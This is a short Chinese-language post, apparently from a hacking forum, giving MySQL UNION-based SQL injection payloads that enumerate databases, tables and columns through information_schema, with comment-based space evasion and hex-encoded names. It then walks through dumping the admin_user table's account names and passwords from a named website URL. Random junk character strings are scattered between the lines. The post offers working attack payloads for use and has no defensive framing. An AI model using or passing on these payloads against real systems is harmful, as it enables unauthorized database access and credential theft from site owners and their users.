mysql注入技巧

admin

查库
8 l* F+ T5 w) t4 x/ t; _
id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

查表
+ \- R+ u5 S$ J3 O' U# q' t
7 r2 a1 \7 y, M4 v2 J+ kid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

查段
( L% @' ~; ^7 u1 b9 [7 B
1 B" L, ?4 J" r5 h& Xid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1

  M8 }7 h) W4 a. w6 T
mysql5高级注入方法暴表
4 D# b' n5 Z+ k) v
例子如下:
2 _( u5 n/ }  L4 Z
1.爆表
7 d6 b+ s3 ?& X5 u8 Z! O( Rhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。

) {+ t8 O; i! y4 I2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
/ C* o- R7 L3 F' e4 K+ L3 _& ]* B$ k( s

3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
" |, ]; q+ [! r6 w) ]8 c

. F, l6 c* I8 V* z* A5 y